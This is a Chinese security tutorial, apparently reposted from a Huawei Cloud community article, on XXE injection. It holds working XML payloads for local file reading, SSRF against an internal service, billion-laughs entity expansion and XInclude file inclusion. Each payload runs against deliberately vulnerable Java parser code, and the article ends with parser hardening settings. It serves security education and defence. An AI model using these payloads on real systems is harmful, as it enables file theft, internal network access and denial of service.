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本文分享自华为云社区《 【安全攻防】深入浅出实战系列专题-XXE攻击 》，作者： MDKing.
XML基础：XML 指可扩展标记语言（Extensible Markup Language)，是一种与HTML类似的纯文本的标记语言，设计宗旨是为了传输数据，而非显示数据。是W3C的推荐标准.
XML标签：XML被设计为具有自我描述性，XML标签是没有被预定义的，需要自行定义标签与文档结构。如下为包含了标题、发送者、接受者、内容等信息的xml文档.
DTD：指文档类型定义(Document Type Definition)，通过定义根节点、元素（ELEMENT）、属性（ATTLIST）、实体（ENTITY）等约束了xml文档的内容按照指定的格式承载数据.
如下图，通过 <!DOCTYPE 根节点名称 [DTD内容]> 的规则指定了该xml文件合法的根节点元素为persons，它的子节点元素为person，以及person的子层元素以及属性.
。
。
实体：在DTD中通过 <!ENTITY 实体名称 "实体的值"> 等方式定义实体，相当于定义变量的作用，可在文档内容中通过 &实体名称； 的方式引用实体的值（变量的值）.
实体类型：实体分为多种类型，从使用范围的维度，分为参数实体（只能在DTD中引用）与非参数实体（可以在DTD中、文档内容中引用）。区别如下:
| 样例 | 引用方式 | 使用范围与场景 | |
| 非参数实体 | <!ENTITY country "中国"> | &country; | 在DTD中、文档内容中均可引用，一般用来取代重复的字符串 |
| 参数实体 | <!ENTITY % countrydefine "xxx元素的DTD定义内容"> | %country; | 仅能在DTD定义中引用，一般用来保存某段重复的DTD定义 |
从值的来源维度，分为内部实体、外部实体。内部实体为文档内部直接定义值，外部实体为通过http、file等协议从文件外的某处获取内容作为实体的值。区别如下:
| 样例 | 特征与使用场景 | |
| 内部实体 | <!ENTITY country "中国"> | 值是明确的字符串常量等，可以直接定义在本文档中 |
| 外部实体 | <!ENTITY country SYSTEM "file:///D:/country.txt"> | 值来源于其它文件或者网络 |
XML外部实体注入：XML External Entity Injection即xml外部实体注入漏洞，简称XXE漏洞。当xml解析器支持对于外部实体的解析且待解析的xml文件可由外部控制时，就会发生此攻击。攻击者可以通过构造外部实体的内容为本地其它目录下的文件、访问内网/外网的制定url等方式实现自己的攻击目的，达到信息泄露、命令执行、拒绝服务、SSRF、内网端口扫描等攻击目的.
Xinclude：Xinclude用来导入外部xml文档，类似于php的include，将外部定义的dtd引入当前文件。该特性可以解决部分场景下引入外部实体具有的局限性，但并不是所有XML 解析器都支持 XInclude，W3C在XInclude Implementations Report中列出了支持的列表，结合XInclude特性也可以在部分场景下执行XXE攻击。常见的支持xinclude特性的xml解析器都是默认关闭xinclude特性的，如果使用，需要在代码中手动开启，如在DOM型解析器中开启如下配置 factory.setNamespaceAware(true);factory.setXIncludeAware(true); 如果不关闭Xinclude，仅禁用DTD解析也是存在安全风险的.
目的与场景：通过构造特定格式的xml文档，读取服务器上指定文件的内容，达到敏感信息获取的目的.
xml文档payload:
<?xml version=
"
1.0
"
encoding=
"
UTF-8
"
?>
<!
DOCTYPE root [
<!ELEMENT root (#PCDATA)>
<!ENTITY pw SYSTEM
"
file:///D:/securetest/xxe/passwd.txt
"
>]>
<root>&pw;</root>
服务器端代码:
public
static
void
main(String[] args) throws ParserConfigurationException, IOException, SAXException {
String xml
=
"
<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n
"
+
"
<!DOCTYPE root [ \n
"
+
"
\t<!ELEMENT root (#PCDATA)>\n
"
+
"
\t<!ENTITY pw SYSTEM \"file:///D:/securetest/xxe/passwd.txt\">]>\n
"
+
"
<root>&pw;</root>
"
;
DocumentBuilderFactory factory
=
DocumentBuilderFactory.newInstance();
factory.setValidating(
true
);
DocumentBuilder builder
=
factory.newDocumentBuilder();
InputStream
in
=
new
ByteArrayInputStream(xml.getBytes());
org.w3c.dom.Document document
= builder.parse(
in
);
Element rootElement
=
document.getDocumentElement();
//
打印根节点元素名称、内容
System.
out
.println(
"
根节点名称：
"
+
rootElement.getNodeName());
System.
out
.println(
"
根节点内容：
"
+
rootElement.getTextContent());
}
执行结果：成功读取到了passwd.txt的内容。（服务端代码样例中打印在控制台上，对应实际系统中需要有将文档内容打印到界面上等处理。） 。
目的与场景：通过构造特定格式的xml文档，可以借助目标主机访问内网的其它主机开放的内部接口等服务.
内网其它服务器模拟准备：通过node staticServer.js命令启动服务器，监听3000端口 。
let express = require(
'
express
'
)
let app
=
express();
app.use(express.
static
(__dirname));
app.
get
(
'
/getInnerData
'
, function(req, res) {
console.log(req.headers)
res.end(
'
AK:abc;SK:ABDCEF
'
)
})
app.listen(
3000
)
经验证，http请求可成功返回 。
xml文档payload:
<?xml version=
"
1.0
"
encoding=
"
UTF-8
"
?>
<!
DOCTYPE root [
<!ELEMENT root (#PCDATA)>
<!ENTITY pw SYSTEM
"
http://127.0.0.1:3000/getInnerData
"
>]>
<root>&pw;</root>
服务器端代码:
public
static
void
main(String[] args) throws ParserConfigurationException, IOException, SAXException {
String xml
=
"
<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n
"
+
"
<!DOCTYPE root [ \n
"
+
"
\t<!ELEMENT root (#PCDATA)>\n
"
+
"
\t<!ENTITY pw SYSTEM \"http://127.0.0.1:3000/getInnerData\">]>\n
"
+
"
<root>&pw;</root>
"
;
DocumentBuilderFactory factory
=
DocumentBuilderFactory.newInstance();
factory.setValidating(
true
);
DocumentBuilder builder
=
factory.newDocumentBuilder();
InputStream
in
=
new
ByteArrayInputStream(xml.getBytes());
org.w3c.dom.Document document
= builder.parse(
in
);
Element rootElement
=
document.getDocumentElement();
//
打印根节点元素名称、内容
System.
out
.println(
"
根节点名称：
"
+
rootElement.getNodeName());
System.
out
.println(
"
根节点内容：
"
+
rootElement.getTextContent());
}
执行结果：成功读取到内部接口getInnerData的内容.
目的与场景：通过构造特殊格式的xml文档，定义多层递归引用的实体（变量）让解析的内容以及时间以指数级增长，以实现DDos攻击的效果.
xml文档payload:
<?xml version=
"
1.0
"
encoding=
"
UTF-8
"
?>
<!
DOCTYPE root [
<!ELEMENT root (#PCDATA)>
<!ENTITY lol
"
lollollollollollollollollollollollollollollollollollollollollollollollollollollollollollol\n
"
>
<!ENTITY lol1
"
&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;
"
>
<!ENTITY lol2
"
&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;
"
>
<!ENTITY lol3
"
&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;
"
>
<!ENTITY lol4
"
&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;
"
>
<!ENTITY lol5
"
&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;
"
>
<!ENTITY lol6
"
&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;
"
>]>
<root>&lol6;</root>
服务器端代码:
public
static
void
main(String[] args) throws ParserConfigurationException, IOException, SAXException {
//
获取当前时间
LocalDateTime startTime =
LocalDateTime.now();
String xml
=
"
<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n
"
+
"
<!DOCTYPE root [ \n
"
+
"
\t<!ELEMENT root (#PCDATA)>\n
"
+
"
\t<!ENTITY lol \"lollollollollollollollollollollollollollollollollollollollollollollollollollollollollollol\n\">\n
"
+
"
\t<!ENTITY lol1 \"&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;\">\n
"
+
"
\t<!ENTITY lol2 \"&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;\">\n
"
+
"
\t<!ENTITY lol3 \"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;\">\n
"
+
"
\t<!ENTITY lol4 \"&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;\">\n
"
+
"
\t<!ENTITY lol5 \"&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;\">\n
"
+
"
\t<!ENTITY lol6 \"&lol5;&lol5;&lol5;&lol5;&lol5;\">]>\n
"
+
"
<root>&lol6;</root>
"
;
DocumentBuilderFactory factory
=
DocumentBuilderFactory.newInstance();
factory.setValidating(
true
);
factory.setExpandEntityReferences(
false
);
System.setProperty(
"
entityExpansionLimit
"
,
"
50000000
"
);
DocumentBuilder builder
=
factory.newDocumentBuilder();
InputStream
in
=
new
ByteArrayInputStream(xml.getBytes());
org.w3c.dom.Document document
= builder.parse(
in
);
Element rootElement
=
document.getDocumentElement();
//
打印根节点元素名称、内容
System.
out
.println(
"
根节点名称：
"
+
rootElement.getNodeName());
System.
out
.println(
"
根节点内容：
"
+
rootElement.getTextContent());
System.
out
.println(
"
根节点内容长度：
"
+
rootElement.getTextContent().length());
System.
out
.println(
"
根节点内容大小：
"
+ rootElement.getTextContent().getBytes().length / (
1024
*
1024
) +
"
MB
"
);
//
获取当前时间并计算时间差
LocalDateTime endTime =
LocalDateTime.now();
Duration duration
=
Duration.between(startTime, endTime);
System.
out
.println(
"
解析执行时间为：
"
+ duration.toMillis() +
"
豪秒
"
);
}
执行结果：如果程序中不对解析实体做限制的话，可以通过少量的DTD定义，实现海量大小的解析结果的效果，会大量占用服务器的处理、存储.
目的与场景：该样例演示了如果打开了Xinclude开关的危险性，即使做了DTD的安全禁用，还是依然可以进行XXE攻击.
xml文档payload:
<?xml version=
"
1.0
"
encoding=
"
UTF-8
"
?>
<!
DOCTYPE root [
<!ELEMENT root (#PCDATA)>
<!ENTITY lol
"
lollollollollollollollollollollollollollollollollollollollollollollollollollollollollollol\n
"
>
<!ENTITY lol1
"
&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;
"
>
<!ENTITY lol2
"
&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;
"
>
<!ENTITY lol3
"
&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;
"
>
<!ENTITY lol4
"
&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;
"
>
<!ENTITY lol5
"
&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;
"
>
<!ENTITY lol6
"
&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;
"
>]>
<root>&lol6;</root>
服务端代码:
public
static
void
main(String[] args) throws ParserConfigurationException, IOException, SAXException {
String xml
=
"
<?xml version=\"1.0\" ?>\n
"
+
"
<root xmlns:xi=\"http://www.w3.org/2001/XInclude\">\n
"
+
"
<xi:include href=\"file:///D:/securetest/xxe/passwd.txt\" parse=\"text\"/>\n
"
+
"
</root>
"
;
DocumentBuilderFactory factory
=
DocumentBuilderFactory.newInstance();
factory.setFeature(
"
http://apache.org/xml/features/disallow-doctype-decl
"
,
true
);
factory.setNamespaceAware(
true
);
factory.setXIncludeAware(
true
);
DocumentBuilder builder
=
factory.newDocumentBuilder();
InputStream
in
=
new
ByteArrayInputStream(xml.getBytes());
org.w3c.dom.Document document
= builder.parse(
in
);
Element rootElement
=
document.getDocumentElement();
//
打印根节点元素名称、内容
System.
out
.println(
"
根节点名称：
"
+
rootElement.getNodeName());
System.
out
.println(
"
根节点内容：
"
+
rootElement.getTextContent());
}
执行结果:
常见的支持xinclude特性的xml解析器都是默认关闭xinclude特性的，如果使用，需要在代码中手动开启，如在DOM型解析器中开启如下配置 factory.setNamespaceAware(true);factory.setXIncludeAware(true); 如果不关闭Xinclude，仅禁用DTD解析也是存在安全风险的。2.4中演示了即使禁用了DTD解析，打开Xinclude功能开关后存在的安全问题。所以从安全角度考虑，首先禁止打开Xinclude开关.
如果业务中不需要进行DTD定义以及解析，最好的方式就是完全禁用DTD解析。例如Dom类型的解析器中通过 factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); 来禁用。效果如下:
方式一：如果业务中确实需要DTD定义以及解析，可以通过仅禁用外部实体解析的方式进行安全防护。例如Dom类型的解析器中通过如下方式设置禁用外部实体解析:
factory.setFeature(
"
http://xml.org/sax/features/external-general-entities
"
,
false
);
factory.setFeature(
"
http://xml.org/sax/features/external-parameter-entities
"
,
false
);
factory.setFeature(
"
http://apache.org/xml/features/nonvalidating/load-external-dtd
"
,
false
);
效果如下:
方式二：禁用外部实体解析还有另外一种方式，重写实体解析函数，核心代码:
builder.setEntityResolver(
new
EntityResolver() {
@Override
public
InputSource resolveEntity(String publicId, String systemId) throws SAXException,IOException {
return
new
InputSource(
new
StringReader(
""
));
}
});
效果如下:
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。
最后此篇关于从原理到实战，详解XXE攻击的文章就讲到这里了,如果你想了解更多关于从原理到实战，详解XXE攻击的内容请搜索CFSDN的文章或继续浏览相关文章，希望大家以后支持我的博客！ 。
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